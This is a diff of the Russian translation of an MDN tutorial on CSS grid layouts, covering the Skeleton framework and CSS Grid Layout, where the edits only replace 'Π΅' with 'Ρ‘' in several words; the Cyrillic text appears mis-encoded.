+<p>Π’ вашСм ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Π΅ Π²Ρ‹ всС Ρ€Π°Π²Π½ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ сСтку flexbox ΠΈΠ·-Π·Π° Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Ρ… возмоТностСй выравнивания ΠΈ распрСдСлСния пространства. Flexbox обСспСчиваСт Π½Π°Π΄ΠΏΠ»Π°Π²ΠΊΠΈ. Однако Π²Π°ΠΌ слСдуСт ΠΏΠΎΠΌΠ½ΠΈΡ‚ΡŒ, Ρ‡Ρ‚ΠΎ Π²Ρ‹ всС Π΅Ρ‰Ρ‘ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Π΅ инструмСнт для Ρ‡Π΅Π³ΠΎ-Ρ‚ΠΎ Π΄Ρ€ΡƒΠ³ΠΎΠ³ΠΎ, ΠΊΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, для Ρ‡Π΅Π³ΠΎ ΠΎΠ½ ΠΏΡ€Π΅Π΄Π½Π°Π·Π½Π°Ρ‡Π΅Π½. Π’Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠΎΡ‡ΡƒΠ²ΡΡ‚Π²ΠΎΠ²Π°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ ΠΎΠ½ заставляСт вас ΠΏΡ€Ρ‹Π³Π°Ρ‚ΡŒ Ρ‡Π΅Ρ€Π΅Π· Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ ΠΎΠ±Ρ€ΡƒΡ‡ΠΈ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ ΠΊΠΎΠ½Π΅Ρ‡Π½Ρ‹ΠΉ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅.</p>
<h2 id="БистСмы_сторонних_сСтСй">БистСмы сторонних сСтСй</h2>
-<p>Π’Π΅ΠΏΠ΅Ρ€ΡŒ, ΠΊΠΎΠ³Π΄Π° ΠΌΡ‹ ΠΏΠΎΠ½ΠΈΠΌΠ°Π΅ΠΌ ΠΌΠ°Ρ‚Π΅ΠΌΠ°Ρ‚ΠΈΠΊΡƒ Π·Π° нашими расчСтами Π² сСткС, ΠΌΡ‹ находимся Π² Ρ…ΠΎΡ€ΠΎΡˆΠ΅ΠΌ мСстС, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Π·Π³Π»ΡΠ½ΡƒΡ‚ΡŒ Π½Π° Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΠ· сторонних сСтСвых систСм, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ совмСстно. Если Π²Ρ‹ ΠΈΡ‰Π΅Ρ‚Π΅ Β«CSS Grid frameworkΒ» Π² Π˜Π½Ρ‚Π΅Ρ€Π½Π΅Ρ‚Π΅, Π²Ρ‹ Π½Π°ΠΉΠ΄Π΅Ρ‚Π΅ ΠΎΠ³Ρ€ΠΎΠΌΠ½Ρ‹ΠΉ список Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ΠΎΠ² Π½Π° Π²Ρ‹Π±ΠΎΡ€. Π’ популярных структурах, Ρ‚Π°ΠΊΠΈΡ… ΠΊΠ°ΠΊ <a href="http://getbootstrap.com/">Bootstrap</a> ΠΈ <a href="https://foundation.zurb.com/">Foundation</a>, Π΅ΡΡ‚ΡŒ сСтка. Π‘ΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‚ Ρ‚Π°ΠΊΠΆΠ΅ Π°Π²Ρ‚ΠΎΠ½ΠΎΠΌΠ½Ρ‹Π΅ сСтчатыС систСмы, Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Π°Π½Π½Ρ‹Π΅ с использованиСм CSS ΠΈΠ»ΠΈ с использованиСм прСпроцСссоров.</p>
+<p>Π’Π΅ΠΏΠ΅Ρ€ΡŒ, ΠΊΠΎΠ³Π΄Π° ΠΌΡ‹ ΠΏΠΎΠ½ΠΈΠΌΠ°Π΅ΠΌ ΠΌΠ°Ρ‚Π΅ΠΌΠ°Ρ‚ΠΈΠΊΡƒ Π·Π° нашими расчётами Π² сСткС, ΠΌΡ‹ находимся Π² Ρ…ΠΎΡ€ΠΎΡˆΠ΅ΠΌ мСстС, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Π·Π³Π»ΡΠ½ΡƒΡ‚ΡŒ Π½Π° Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΠ· сторонних сСтСвых систСм, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ совмСстно. Если Π²Ρ‹ ΠΈΡ‰Π΅Ρ‚Π΅ Β«CSS Grid frameworkΒ» Π² Π˜Π½Ρ‚Π΅Ρ€Π½Π΅Ρ‚Π΅, Π²Ρ‹ Π½Π°ΠΉΠ΄Ρ‘Ρ‚Π΅ ΠΎΠ³Ρ€ΠΎΠΌΠ½Ρ‹ΠΉ список Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ΠΎΠ² Π½Π° Π²Ρ‹Π±ΠΎΡ€. Π’ популярных структурах, Ρ‚Π°ΠΊΠΈΡ… ΠΊΠ°ΠΊ <a href="http://getbootstrap.com/">Bootstrap</a> ΠΈ <a href="https://foundation.zurb.com/">Foundation</a>, Π΅ΡΡ‚ΡŒ сСтка. Π‘ΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‚ Ρ‚Π°ΠΊΠΆΠ΅ Π°Π²Ρ‚ΠΎΠ½ΠΎΠΌΠ½Ρ‹Π΅ сСтчатыС систСмы, Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Π°Π½Π½Ρ‹Π΅ с использованиСм CSS ΠΈΠ»ΠΈ с использованиСм прСпроцСссоров.</p>
<p>Π”Π°Π²Π°ΠΉΡ‚Π΅ рассмотрим ΠΎΠ΄Π½Ρƒ ΠΈΠ· этих Π°Π²Ρ‚ΠΎΠ½ΠΎΠΌΠ½Ρ‹Ρ… систСм, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ ΠΎΠ½Π° дСмонстрируСт ΠΎΠ±Ρ‰ΠΈΠ΅ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ Ρ€Π°Π±ΠΎΡ‚Ρ‹ с сСткой. Π‘Π΅Ρ‚ΠΊΠ°, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ ΠΌΡ‹ Π±ΡƒΠ΄Π΅ΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ, являСтся Ρ‡Π°ΡΡ‚ΡŒΡŽ Skeleton, простой CSS-структуры.</p>
@@ -462,28 +462,28 @@ body {
<p>ΠŸΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ ΡΠΎΡ…Ρ€Π°Π½ΠΈΡ‚ΡŒ свой HTML-Ρ„Π°ΠΉΠ» ΠΈ Π·Π°Π³Ρ€ΡƒΠ·ΠΈΡ‚ΡŒ Π΅Π³ΠΎ Π² свой Π±Ρ€Π°ΡƒΠ·Π΅Ρ€, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ эффСкт.</p>
<div class="note">
-<p>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅. Если Π²Π°ΠΌ Π½Π΅ удаСтся Π·Π°ΡΡ‚Π°Π²ΠΈΡ‚ΡŒ этот ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ, ΠΏΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ ΡΡ€Π°Π²Π½ΠΈΡ‚ΡŒ Π΅Π³ΠΎ с нашим <a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/grids/html-skeleton-finished.html">html-skeleton-finished.html</a> - Ρ„Π°ΠΉΠ»ΠΎΠΌ (см. Ρ‚Π°ΠΊΠΆΠ΅ <a href="https://mdn.github.io/learning-area/css/css-layout/grids/html-skeleton-finished.html">Π² Ρ€Π΅ΠΆΠΈΠΌΠ΅ Ρ€Π΅Π°Π»ΡŒΠ½ΠΎΠ³ΠΎ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ</a>).</p>
+<p>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅. Если Π²Π°ΠΌ Π½Π΅ удаётся Π·Π°ΡΡ‚Π°Π²ΠΈΡ‚ΡŒ этот ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ, ΠΏΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ ΡΡ€Π°Π²Π½ΠΈΡ‚ΡŒ Π΅Π³ΠΎ с нашим <a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/grids/html-skeleton-finished.html">html-skeleton-finished.html</a> - Ρ„Π°ΠΉΠ»ΠΎΠΌ (см. Ρ‚Π°ΠΊΠΆΠ΅ <a href="https://mdn.github.io/learning-area/css/css-layout/grids/html-skeleton-finished.html">Π² Ρ€Π΅ΠΆΠΈΠΌΠ΅ Ρ€Π΅Π°Π»ΡŒΠ½ΠΎΠ³ΠΎ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ</a>).</p>
</div>
<p>Если Π²Ρ‹ посмотритС Π² Ρ„Π°ΠΉΠ»Π΅ skeleton.css, Π²Ρ‹ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅, ΠΊΠ°ΠΊ это Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚. НапримСр, Ρƒ Skeleton ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Ρ‹ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ элСмСнты стиля с Π΄ΠΎΠ±Π°Π²Π»Π΅Π½Π½Ρ‹ΠΌΠΈ ΠΊ Π½ΠΈΠΌ классами Β«Ρ‚Ρ€ΠΈ столбца».</p>
<pre class="brush: css notranslate">.three.columns { width: 22%; }</pre>
-<p>Π’Π΅ΡΡŒ Skeleton (ΠΈΠ»ΠΈ любая другая структура сСтки) выполняСт настройку ΠΏΡ€Π΅Π΄ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Ρ… классов, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ, Π΄ΠΎΠ±Π°Π²ΠΈΠ² ΠΈΡ… Π² свою Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΡƒ. Π­Ρ‚ΠΎ Ρ‚ΠΎΡ‡Π½ΠΎ Ρ‚Π°ΠΊ ΠΆΠ΅, ΠΊΠ°ΠΊ Ссли Π±Ρ‹ Π²Ρ‹ сами Π΄Π΅Π»Π°Π»ΠΈ расчСт этих ΠΏΡ€ΠΎΡ†Π΅Π½Ρ‚ΠΎΠ².</p>
+<p>Π’Π΅ΡΡŒ Skeleton (ΠΈΠ»ΠΈ любая другая структура сСтки) выполняСт настройку ΠΏΡ€Π΅Π΄ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Ρ… классов, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ, Π΄ΠΎΠ±Π°Π²ΠΈΠ² ΠΈΡ… Π² свою Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΡƒ. Π­Ρ‚ΠΎ Ρ‚ΠΎΡ‡Π½ΠΎ Ρ‚Π°ΠΊ ΠΆΠ΅, ΠΊΠ°ΠΊ Ссли Π±Ρ‹ Π²Ρ‹ сами Π΄Π΅Π»Π°Π»ΠΈ расчёт этих ΠΏΡ€ΠΎΡ†Π΅Π½Ρ‚ΠΎΠ².</p>
-<p>Как Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²ΠΈΠ΄Π΅Ρ‚ΡŒ, Π½Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ Π½Π°ΠΏΠΈΡΠ°Ρ‚ΡŒ ΠΎΡ‡Π΅Π½ΡŒ ΠΌΠ°Π»ΠΎ CSS ΠΏΡ€ΠΈ использовании Skeleton. Он касаСтся всСх ΠΏΠ»Π°Π²Π°ΡŽΡ‰ΠΈΡ… для нас, ΠΊΠΎΠ³Π΄Π° ΠΌΡ‹ добавляСм классы Π² Π½Π°ΡˆΡƒ Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΡƒ. ИмСнно эта ΡΠΏΠΎΡΠΎΠ±Π½ΠΎΡΡ‚ΡŒ нСсти ΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²Π΅Π½Π½ΠΎΡΡ‚ΡŒ Π·Π° ΠΊΠΎΠΌΠΏΠΎΠ½ΠΎΠ²ΠΊΡƒ Π½Π°Π΄ Ρ‡Π΅ΠΌ-Ρ‚ΠΎ Π΅Ρ‰Π΅, Ρ‡Ρ‚ΠΎ Π΄Π΅Π»Π°Π΅Ρ‚ использованиС Ρ€Π°ΠΌΠΊΠΈ для сСтчатой систСмы Π½Π΅ΠΎΡ‚Ρ€Π°Π·ΠΈΠΌΡ‹ΠΌ Π²Ρ‹Π±ΠΎΡ€ΠΎΠΌ!</p>
+<p>Как Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²ΠΈΠ΄Π΅Ρ‚ΡŒ, Π½Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ Π½Π°ΠΏΠΈΡΠ°Ρ‚ΡŒ ΠΎΡ‡Π΅Π½ΡŒ ΠΌΠ°Π»ΠΎ CSS ΠΏΡ€ΠΈ использовании Skeleton. Он касаСтся всСх ΠΏΠ»Π°Π²Π°ΡŽΡ‰ΠΈΡ… для нас, ΠΊΠΎΠ³Π΄Π° ΠΌΡ‹ добавляСм классы Π² Π½Π°ΡˆΡƒ Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΡƒ. ИмСнно эта ΡΠΏΠΎΡΠΎΠ±Π½ΠΎΡΡ‚ΡŒ нСсти ΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²Π΅Π½Π½ΠΎΡΡ‚ΡŒ Π·Π° ΠΊΠΎΠΌΠΏΠΎΠ½ΠΎΠ²ΠΊΡƒ Π½Π°Π΄ Ρ‡Π΅ΠΌ-Ρ‚ΠΎ Π΅Ρ‰Ρ‘, Ρ‡Ρ‚ΠΎ Π΄Π΅Π»Π°Π΅Ρ‚ использованиС Ρ€Π°ΠΌΠΊΠΈ для сСтчатой систСмы Π½Π΅ΠΎΡ‚Ρ€Π°Π·ΠΈΠΌΡ‹ΠΌ Π²Ρ‹Π±ΠΎΡ€ΠΎΠΌ!</p>
-<p>Skeleton - это Π±ΠΎΠ»Π΅Π΅ простая сСтка, Ρ‡Π΅ΠΌ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΠ· структур, с ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌΠΈ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡΡ‚ΠΎΠ»ΠΊΠ½ΡƒΡ‚ΡŒΡΡ. Π‘Π΅Ρ‚ΠΊΠΈ Π² Π±ΠΎΠ»ΡŒΡˆΠΈΡ… Ρ€Π°ΠΌΠΊΠ°Ρ…, Ρ‚Π°ΠΊΠΈΡ… ΠΊΠ°ΠΊ Bootstrap ΠΈ Foundation, ΠΏΡ€Π΅Π΄Π»Π°Π³Π°ΡŽΡ‚ большС Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ ΠΈ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ Ρ‚ΠΎΡ‡ΠΊΠΈ останова для Ρ€Π°Π·Π»ΠΈΡ‡Π½ΠΎΠΉ ΡˆΠΈΡ€ΠΈΠ½Ρ‹ экрана. Π’Π΅ΠΌ Π½Π΅ ΠΌΠ΅Π½Π΅Π΅, всС ΠΎΠ½ΠΈ Ρ€Π°Π±ΠΎΡ‚Π°ΡŽΡ‚ Π°Π½Π°Π»ΠΎΠ³ΠΈΡ‡Π½Ρ‹ΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ - Π΄ΠΎΠ±Π°Π²ΠΈΠ² ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Π΅ классы Π² свою Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΡƒ, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ, ΠΊΠ°ΠΊ элСмСнт Π²Ρ‹Π»ΠΎΠΆΠ΅Π½ с использованиСм ΠΏΡ€Π΅Π΄ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠΉ сСтки.</p>
+<p>Skeleton - это Π±ΠΎΠ»Π΅Π΅ простая сСтка, Ρ‡Π΅ΠΌ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΠ· структур, с ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌΠΈ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡΡ‚ΠΎΠ»ΠΊΠ½ΡƒΡ‚ΡŒΡΡ. Π‘Π΅Ρ‚ΠΊΠΈ Π² Π±ΠΎΠ»ΡŒΡˆΠΈΡ… Ρ€Π°ΠΌΠΊΠ°Ρ…, Ρ‚Π°ΠΊΠΈΡ… ΠΊΠ°ΠΊ Bootstrap ΠΈ Foundation, ΠΏΡ€Π΅Π΄Π»Π°Π³Π°ΡŽΡ‚ большС Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ ΠΈ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ Ρ‚ΠΎΡ‡ΠΊΠΈ останова для Ρ€Π°Π·Π»ΠΈΡ‡Π½ΠΎΠΉ ΡˆΠΈΡ€ΠΈΠ½Ρ‹ экрана. Π’Π΅ΠΌ Π½Π΅ ΠΌΠ΅Π½Π΅Π΅, всС ΠΎΠ½ΠΈ Ρ€Π°Π±ΠΎΡ‚Π°ΡŽΡ‚ Π°Π½Π°Π»ΠΎΠ³ΠΈΡ‡Π½Ρ‹ΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ - Π΄ΠΎΠ±Π°Π²ΠΈΠ² ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Π΅ классы Π² свою Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΡƒ, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ, ΠΊΠ°ΠΊ элСмСнт Π²Ρ‹Π»ΠΎΠΆΠ΅Π½ с использованиСм ΠΏΡ€Π΅Π΄ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠΉ сСтки.</p>
<h2 id="Π ΠΎΠ΄Π½Ρ‹Π΅_CSS_Π‘Π΅Ρ‚ΠΊΠΈ_с_Grid_Layout">Π ΠΎΠ΄Π½Ρ‹Π΅ CSS Π‘Π΅Ρ‚ΠΊΠΈ с Grid Layout</h2>
-<p>Π’ Π½Π°Ρ‡Π°Π»Π΅ этой ΡΡ‚Π°Ρ‚ΡŒΠΈ ΠΌΡ‹ сказали, Ρ‡Ρ‚ΠΎ CSS Ρ€Π°Π½Π΅Π΅ Π½Π΅ ΠΈΠΌΠ΅Π» Ρ€Π΅Π°Π»ΡŒΠ½ΠΎΠΉ систСмы для создания ΠΌΠ°ΠΊΠ΅Ρ‚ΠΎΠ² сСтки, Π½ΠΎ это измСнится. Π₯отя ΠΌΡ‹ Π΅Ρ‰Π΅ Π½Π΅ ΠΌΠΎΠΆΠ΅ΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π²ΡΡ‚Ρ€ΠΎΠ΅Π½Π½ΡƒΡŽ ΡΠ΅Ρ‚Π΅Π²ΡƒΡŽ систСму CSS, Π² ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΌ Π³ΠΎΠ΄Ρƒ ΠΌΡ‹ ΡƒΠ²ΠΈΠ΄ΠΈΠΌ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΡƒ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° для модуля ΠΊΠΎΠΌΠΏΠΎΠ½ΠΎΠ²ΠΊΠΈ сСтки CSS (<a href="https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Grid_Layout">CSS Grid Layout Module</a>).</p>
+<p>Π’ Π½Π°Ρ‡Π°Π»Π΅ этой ΡΡ‚Π°Ρ‚ΡŒΠΈ ΠΌΡ‹ сказали, Ρ‡Ρ‚ΠΎ CSS Ρ€Π°Π½Π΅Π΅ Π½Π΅ ΠΈΠΌΠ΅Π» Ρ€Π΅Π°Π»ΡŒΠ½ΠΎΠΉ систСмы для создания ΠΌΠ°ΠΊΠ΅Ρ‚ΠΎΠ² сСтки, Π½ΠΎ это измСнится. Π₯отя ΠΌΡ‹ Π΅Ρ‰Ρ‘ Π½Π΅ ΠΌΠΎΠΆΠ΅ΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π²ΡΡ‚Ρ€ΠΎΠ΅Π½Π½ΡƒΡŽ ΡΠ΅Ρ‚Π΅Π²ΡƒΡŽ систСму CSS, Π² ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΌ Π³ΠΎΠ΄Ρƒ ΠΌΡ‹ ΡƒΠ²ΠΈΠ΄ΠΈΠΌ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΡƒ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° для модуля ΠΊΠΎΠΌΠΏΠΎΠ½ΠΎΠ²ΠΊΠΈ сСтки CSS (<a href="https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Grid_Layout">CSS Grid Layout Module</a>).</p>
<p>Π’ настоящСС врСмя Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ρ‚Π΅ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΡ‹ ΠΏΠΎΠΊΠ°ΠΆΠ΅ΠΌ Π²Π°ΠΌ Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ…, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Ρ€Π΅Π°Π»ΠΈΠ·ΡƒΡŽΡ‚ ΠΌΠ°ΠΊΠ΅Ρ‚ сСтки CSS Β«Π·Π° Ρ„Π»Π°Π³ΠΎΠΌΒ» - это ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ ΠΎΠ½ Π² настоящСС врСмя Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Π½, Π½ΠΎ Π² ΡΠΊΡΠΏΠ΅Ρ€ΠΈΠΌΠ΅Π½Ρ‚Π°Π»ΡŒΠ½ΠΎΠΌ состоянии, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ Π²ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡŒ.</p>
-<p>Π’ Firefox, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ ΠΏΠ΅Ρ€Π΅ΠΉΡ‚ΠΈ ΠΊ URL-адрСсу <code>about: config</code>, Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ поиск ΠΏΠΎ ΠΏΡ€Π΅Π΄ΠΏΠΎΡ‡Ρ‚Π΅Π½ΠΈΡŽ <code>layout.css.grid.enabled</code> ΠΈ Π΄Π²Π°ΠΆΠ΄Ρ‹ Ρ‰Π΅Π»ΠΊΠ½ΡƒΡ‚ΡŒ Π΅Π³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡŒ CSS-сСтки. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡƒΠ·Π½Π°Ρ‚ΡŒ, ΠΊΠ°ΠΊ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π΅Π³ΠΎ Π² Π΄Ρ€ΡƒΠ³ΠΈΡ… Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ…, посСтив <a href="http://gridbyexample.com/browsers">Grid by Example</a>.</p>
+<p>Π’ Firefox, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ ΠΏΠ΅Ρ€Π΅ΠΉΡ‚ΠΈ ΠΊ URL-адрСсу <code>about: config</code>, Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ поиск ΠΏΠΎ ΠΏΡ€Π΅Π΄ΠΏΠΎΡ‡Ρ‚Π΅Π½ΠΈΡŽ <code>layout.css.grid.enabled</code> ΠΈ Π΄Π²Π°ΠΆΠ΄Ρ‹ Ρ‰Ρ‘Π»ΠΊΠ½ΡƒΡ‚ΡŒ Π΅Π³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡŒ CSS-сСтки. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡƒΠ·Π½Π°Ρ‚ΡŒ, ΠΊΠ°ΠΊ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π΅Π³ΠΎ Π² Π΄Ρ€ΡƒΠ³ΠΈΡ… Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ…, посСтив <a href="http://gridbyexample.com/browsers">Grid by Example</a>.</p>
-<p>ΠœΡ‹ рассмотрСли структуру Π‘ΠΊΠ΅Π»Π΅Ρ‚Π½ΠΎΠΉ сСтки Π²Ρ‹ΡˆΠ΅ - ΠΊΠ°ΠΊ ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ сторонниС Ρ€Π΅ΡˆΠ΅Ρ‚ΠΊΠΈ ΠΈ Π΄Π°ΠΆΠ΅ Ρ€ΡƒΡ‡Π½Ρ‹Π΅ сСтки, для этого трСбуСтся Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ <code>&lt;div&gt;</code> для формирования строк, Π° Π·Π°Ρ‚Π΅ΠΌ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ количСство столбцов, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π±ΡƒΠ΄ΡƒΡ‚ ΠΎΡ…Π²Π°Ρ‚Ρ‹Π²Π°Ρ‚ΡŒ элСмСнты Π² этих рядах.</p>
